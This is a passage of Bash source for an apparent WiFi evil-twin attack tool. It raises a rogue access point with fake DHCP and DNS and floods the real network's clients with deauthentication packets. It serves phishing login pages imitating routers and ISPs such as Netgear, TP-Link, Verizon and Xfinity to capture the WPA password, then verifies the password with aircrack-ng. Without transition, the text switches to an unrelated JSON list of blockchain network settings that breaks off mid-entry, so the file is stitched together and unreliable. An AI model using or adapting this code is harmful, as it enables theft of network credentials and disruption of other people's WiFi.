0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface
[{"name":"Ethereum Mainnet","chainId":1,"shortName":"eth","networkId":1,"nativeCurrency":{"name":"Ether","symbol":"ETH","decimals":18},"rpc":["https://mainnet.infura.io/v3/${INFURA_API_KEY}","wss://mainnet.infura.io/ws/v3/${INFURA_API_KEY}","https://api.mycryptoapi.com/eth","https://cloudflare-eth.com"],"faucets":[],"infoURL":"https://ethereum.org"},{"name":"Expanse Network","chainId":2,"shortName":"exp","networkId":1,"nativeCurrency":{"name":"Expanse Network Ether","symbol":"EXP","decimals":18},"rpc":["https://node.expanse.tech"],"faucets":[],"infoURL":"https://expanse.tech"},{"name":"Ethereum Testnet Ropsten","chainId":3,"shortName":"rop","networkId":3,"nativeCurrency":{"name":"Ropsten Ether","symbol":"ROP","decimals":18},"rpc":["https://ropsten.infura.io/v3/${INFURA_API_KEY}","wss://ropsten.infura.io/ws/v3/${INFURA_API_KEY}"],"faucets":["https://faucet.ropsten.be?${ADDRESS}"],"infoURL":"https://github.com/ethereum/ropsten"},{"name":"Ethereum Testnet Rinkeby","chainId":4,"shortName":"rin","networkId":4,"nativeCurrency":{"name":"Rinkeby Ether","symbol":"RIN","decimals":18},"rpc":["https://rinkeby.infura.io/v3/${INFURA_API_KEY}","wss://rinkeby.infura.io/ws/v3/${INFURA_API_KEY}"],"faucets":["https://faucet.rinkeby.io"],"infoURL":"https://www.rinkeby.io"},{"name":"Ethereum Testnet Görli","chainId":5,"shortName":"gor","networkId":5,"nativeCurrency":{"name":"Görli Ether","symbol":"GOR","decimals":18},"rpc":["https://rpc.goerli.mudit.blog/","https://rpc.slock.it/goerli ","https://goerli.prylabs.net/"],"faucets":["https://goerli-faucet.slock.it/?address=${ADDRESS}","https://faucet.goerli.mudit.blog"],"infoURL":"https://goerli.net/#about"},{"name":"Ethereum Classic Testnet Kotti","chainId":6,"shortName":"kot","networkId":6,"nativeCurrency":{"name":"Kotti Ether","symbol":"KOT","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://explorer.jade.builders/?network=kotti"},{"name":"ThaiChain","chainId":7,"shortName":"tch","networkId":7,"nativeCurrency":{"name":"ThaiChain Ether","symbol":"TCH","decimals":18},"rpc":["https://rpc.dome.cloud"],"faucets":[],"infoURL":"https://thaichain.io"},{"name":"Ubiq Network Mainnet","chainId":8,"shortName":"ubq","networkId":8,"nativeCurrency":{"name":"Ubiq Ether","symbol":"UBQ","decimals":18},"rpc":["https://rpc.octano.dev","https://pyrus2.ubiqscan.io"],"faucets":[],"infoURL":"https://ubiqsmart.com"},{"name":"Ubiq Network Testnet","chainId":9,"shortName":"tubq","networkId":2,"nativeCurrency":{"name":"Ubiq Testnet Ether","symbol":"TUBQ","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://ethersocial.org"},{"name":"Optimistic Ethereum","chainId":10,"shortName":"oeth","networkId":10,"nativeCurrency":{"name":"Ether","symbol":"OETH","decimals":18},"rpc":["https://mainnet.optimism.io/"],"faucets":[],"infoURL":"https://optimism.io"},{"name":"Metadium Mainnet","chainId":11,"shortName":"meta","networkId":11,"nativeCurrency":{"name":"Metadium Mainnet Ether","symbol":"META","decimals":18},"rpc":["https://api.metadium.com/prod"],"faucets":[],"infoURL":"https://metadium.com"},{"name":"Metadium Testnet","chainId":12,"shortName":"kal","networkId":12,"nativeCurrency":{"name":"Metadium Testnet Ether","symbol":"KAL","decimals":18},"rpc":["https://api.metadium.com/dev"],"faucets":[],"infoURL":"https://metadium.com"},{"name":"Diode Testnet Staging","chainId":13,"shortName":"dstg","networkId":13,"nativeCurrency":{"name":"Staging Diodes","symbol":"sDIODE","decimals":18},"rpc":["https://staging.diode.io:8443/","wss://staging.diode.io:8443/ws"],"faucets":[],"infoURL":"https://diode.io/staging"},{"name":"Flare Mainnet","chainId":14,"shortName":"flr","networkId":14,"nativeCurrency":{"name":"Spark","symbol":"FLR","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://flare.xyz"},{"name":"Diode Prenet","chainId":15,"shortName":"diode","networkId":15,"nativeCurrency":{"name":"Diodes","symbol":"DIODE","decimals":18},"rpc":["https://prenet.diode.io:8443/","wss://prenet.diode.io:8443/ws"],"faucets":[],"infoURL":"https://diode.io/prenet"},{"name":"Flare Testnet Coston","chainId":16,"shortName":"cflr","networkId":16,"nativeCurrency":{"name":"Coston Spark","symbol":"CFLR","decimals":18},"rpc":[],"faucets":["https://faucet.towolabs.com"],"infoURL":"https://github.com/flare-eng/coston"},{"name":"ThaiChain 2.0 ThaiFi","chainId":17,"shortName":"tfi","networkId":17,"nativeCurrency":{"name":"Thaifi Ether","symbol":"TFI","decimals":18},"rpc":["https://rpc.thaifi.com"],"faucets":[],"infoURL":"https://exp.thaifi.com"},{"name":"ThunderCore Testnet","chainId":18,"shortName":"TST","networkId":18,"nativeCurrency":{"name":"ThunderCore Testnet Ether","symbol":"TST","decimals":18},"rpc":["https://testnet-rpc.thundercore.com"],"faucets":["https://faucet-testnet.thundercore.com"],"infoURL":"https://thundercore.com"},{"name":"Songbird Canary-Network","chainId":19,"shortName":"sgb","networkId":19,"nativeCurrency":{"name":"Songbird","symbol":"SGB","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://flare.xyz"},{"name":"ELA-ETH-Sidechain Mainnet","chainId":20,"shortName":"elaeth","networkId":20,"nativeCurrency":{"name":"Elastos","symbol":"ELA","decimals":18},"rpc":["https://mainrpc.elaeth.io"],"faucets":[],"infoURL":"https://www.elastos.org/"},{"name":"ELA-ETH-Sidechain Testnet","chainId":21,"shortName":"elaetht","networkId":21,"nativeCurrency":{"name":"Elastos","symbol":"tELA","decimals":18},"rpc":["https://rpc.elaeth.io"],"faucets":["https://faucet.elaeth.io/"],"infoURL":"https://elaeth.io/"},{"name":"ELA-DID-Sidechain Mainnet","chainId":22,"shortName":"eladid","networkId":22,"nativeCurrency":{"name":"Elastos","symbol":"ELA","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://www.elastos.org/"},{"name":"ELA-DID-Sidechain Testnet","chainId":23,"shortName":"eladidt","networkId":23,"nativeCurrency":{"name":"Elastos","symbol":"tELA","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://elaeth.io/"},{"name":"RSK Mainnet","chainId":30,"shortName":"rsk","networkId":30,"nativeCurrency":{"name":"RSK Mainnet Ether","symbol":"RBTC","decimals":18},"rpc":["https://public-node.rsk.co","https://mycrypto.rsk.co"],"faucets":[],"infoURL":"https://rsk.co"},{"name":"RSK Testnet","chainId":31,"shortName":"trsk","networkId":31,"nativeCurrency":{"name":"RSK Testnet Ether","symbol":"tRBTC","decimals":18},"rpc":["https://public-node.testnet.rsk.co","https://mycrypto.testnet.rsk.co"],"faucets":["https://faucet.testnet.rsk.co"],"infoURL":"https://rsk.co"},{"name":"GoodData Testnet","chainId":32,"shortName":"GooDT","networkId":32,"nativeCurrency":{"name":"GoodData Testnet Ether","symbol":"GooD","decimals":18},"rpc":["https://test2.goodata.io"],"faucets":[],"infoURL":"https://www.goodata.org"},{"name":"GoodData Mainnet","chainId":33,"shortName":"GooD","networkId":33,"nativeCurrency":{"name":"GoodData Mainnet Ether","symbol":"GooD","decimals":18},"rpc":["https://rpc.goodata.io"],"faucets":[],"infoURL":"https://www.goodata.org"},{"name":"TBWG Chain","chainId":35,"shortName":"tbwg","networkId":35,"nativeCurrency":{"name":"TBWG Ether","symbol":"TBG","decimals":18},"rpc":["https://rpc.tbwg.io"],"faucets":[],"infoURL":"https://tbwg.io"},{"name":"Valorbit","chainId":38,"shortName":"val","networkId":38,"nativeCurrency":{"name":"Valorbit","symbol":"VAL","decimals":18},"rpc":["https://rpc.valorbit.com/v2"],"faucets":[],"infoURL":"https://valorbit.com"},{"name":"Telos EVM Mainnet","chainId":40,"shortName":"Telos EVM","networkId":40,"nativeCurrency":{"name":"Telos","symbol":"TLOS","decimals":18},"rpc":["https://mainnet.telos.net/evm"],"faucets":[],"infoURL":"https://telos.net"},{"name":"Telos EVM Testnet","chainId":41,"shortName":"Telos EVM Testnet","networkId":41,"nativeCurrency":{"name":"Telos","symbol":"TLOS","decimals":18},"rpc":["https://testnet.telos.net/evm"],"faucets":["https://app.telos.net/testnet/developers"],"infoURL":"https://telos.net"},{"name":"Ethereum Testnet Kovan","chainId":42,"shortName":"kov","networkId":42,"nativeCurrency":{"name":"Kovan Ether","symbol":"KOV","decimals":18},"rpc":["https://kovan.poa.network","http://kovan.poa.network:8545","https://kovan.infura.io/v3/${INFURA_API_KEY}","wss://kovan.infura.io/ws/v3/${INFURA_API_KEY}","ws://kovan.poa.network:8546"],"faucets":["https://faucet.kovan.network","https://gitter.im/kovan-testnet/faucet"],"infoURL":"https://kovan-testnet.github.io/website"},{"name":"Darwinia Pangolin Testnet","chainId":43,"shortName":"darwinia","networkId":43,"nativeCurrency":{"name":"Pangolin RING","symbol":"PRING","decimals":9},"rpc":[],"faucets":[],"infoURL":"https://darwinia.network/"},{"name":"Darwinia Crab Network","chainId":44,"shortName":"crab","networkId":44,"nativeCurrency":{"name":"Crab Token","symbol":"CRING","decimals":9},"rpc":[],"faucets":[],"infoURL":"https://crab.network/"},{"name":"XinFin Network Mainnet","chainId":50,"shortName":"xdc","networkId":50,"nativeCurrency":{"name":"XinFin","symbol":"XDC","decimals":18},"rpc":["https://rpc.xinfin.network"],"faucets":[],"infoURL":"https://xinfin.org"},{"name":"XinFin Apothem Testnet","chainId":51,"shortName":"TXDC","networkId":51,"nativeCurrency":{"name":"XinFinTest","symbol":"TXDC","decimals":18},"rpc":["https://rpc.apothem.network"],"faucets":[],"infoURL":"https://xinfin.org"},{"name":"CoinEx Smart Chain Mainnet","chainId":52,"shortName":"cet","networkId":52,"nativeCurrency":{"name":"CoinEx Chain Native Token","symbol":"cet","decimals":18},"rpc":["https://rpc-mainnet.coinex.net"],"faucets":[],"infoURL":"http://www.coinex.org/"},{"name":"CoinEx Smart Chain Testnet","chainId":53,"shortName":"tcet","networkId":53,"nativeCurrency":{"name":"CoinEx Chain Test Native Token","symbol":"cett","decimals":18},"rpc":["https://rpc-testnet.coinex.net"],"faucets":[],"infoURL":"http://www.coinex.org/"},{"name":"Binance Smart Chain Mainnet","chainId":56,"shortName":"bnb","networkId":56,"nativeCurrency":{"name":"Binance Chain Native Token","symbol":"BNB","decimals":18},"rpc":["https://bsc-dataseed1.binance.org","https://bsc-dataseed2.binance.org","https://bsc-dataseed3.binance.org","https://bsc-dataseed4.binance.org","https://bsc-dataseed1.defibit.io","https://bsc-dataseed2.defibit.io","https://bsc-dataseed3.defibit.io","https://bsc-dataseed4.defibit.io","https://bsc-dataseed1.ninicoin.io","https://bsc-dataseed2.ninicoin.io","https://bsc-dataseed3.ninicoin.io","https://bsc-dataseed4.ninicoin.io","wss://bsc-ws-node.nariox.org"],"faucets":[],"infoURL":"https://www.binance.org"},{"name":"Ontology Mainnet","chainId":58,"shortName":"Ontology Mainnet","networkId":58,"nativeCurrency":{"name":"ONG","symbol":"ONG","decimals":9},"rpc":["https://dappnode1.ont.io:20339","https://dappnode2.ont.io:20339","https://dappnode3.ont.io:20339","https://dappnode4.ont.io:20339"],"faucets":[],"infoURL":"https://ont.io/"},{"name":"EOS Mainnet","chainId":59,"shortName":"EOS Mainnet","networkId":59,"nativeCurrency":{"name":"EOS","symbol":"EOS","decimals":18},"rpc":["https://api.eosargentina.io"],"faucets":[],"infoURL":"https://eoscommunity.org/"},{"name":"GoChain","chainId":60,"shortName":"go","networkId":60,"nativeCurrency":{"name":"GoChain Ether","symbol":"GO","decimals":18},"rpc":["https://rpc.gochain.io"],"faucets":[],"infoURL":"https://gochain.io"},{"name":"Ethereum Classic Mainnet","chainId":61,"shortName":"etc","networkId":1,"nativeCurrency":{"name":"Ethereum Classic Ether","symbol":"ETC","decimals":18},"rpc":["https://ethereumclassic.network"],"faucets":[],"infoURL":"https://ethereumclassic.org"},{"name":"Ethereum Classic Testnet Morden","chainId":62,"shortName":"tetc","networkId":2,"nativeCurrency":{"name":"Ethereum Classic Testnet Ether","symbol":"TETC","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://ethereumclassic.org"},{"name":"Ethereum Classic Testnet Mordor","chainId":63,"shortName":"metc","networkId":7,"nativeCurrency":{"name":"Mordor Classic Testnet Ether","symbol":"METC","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://github.com/eth-classic/mordor/"},{"name":"Ellaism","chainId":64,"shortName":"ella","networkId":64,"nativeCurrency":{"name":"Ellaism Ether","symbol":"ELLA","decimals":18},"rpc":["https://jsonrpc.ellaism.org"],"faucets":[],"infoURL":"https://ellaism.org"},{"name":"OKExChain Testnet","chainId":65,"shortName":"tokt","networkId":65,"nativeCurrency":{"name":"OKExChain Global Utility Token in testnet","symbol":"OKT","decimals":18},"rpc":["https://exchaintestrpc.okex.org"],"faucets":["https://www.okex.com/drawdex"],"infoURL":"https://www.okex.com/okexchain"},{"name":"OKExChain Mainnet","chainId":66,"shortName":"okt","networkId":66,"nativeCurrency":{"name":"OKExChain Global Utility Token","symbol":"OKT","decimals":18},"rpc":["https://exchainrpc.okex.org"],"faucets":[],"infoURL":"https://www.okex.com/okexchain"},{"name":"DBChain Testnet","chainId":67,"shortName":"dbm","networkId":67,"nativeCurrency":{"name":"DBChain Testnet","symbol":"DBM","decimals":18},"rpc":["http://test-rpc.dbmbp.com"],"faucets":[],"infoURL":"http://test.dbmbp.com"},{"name":"SoterOne Mainnet","chainId":68,"shortName":"SO1","networkId":68,"nativeCurrency":{"name":"SoterOne Mainnet Ether","symbol":"SOTER","decimals":18},"rpc":["https://rpc.soter.one"],"faucets":[],"infoURL":"https://www.soterone.com"},{"name":"Optimistic Ethereum Testnet Kovan","chainId":69,"shortName":"okov","networkId":69,"nativeCurrency":{"name":"Kovan Ether","symbol":"KOR","decimals":18},"rpc":["https://kovan.optimism.io/"],"faucets":[],"infoURL":"https://optimism.io"},{"name":"Mix","chainId":76,"shortName":"mix","networkId":76,"nativeCurrency":{"name":"Mix 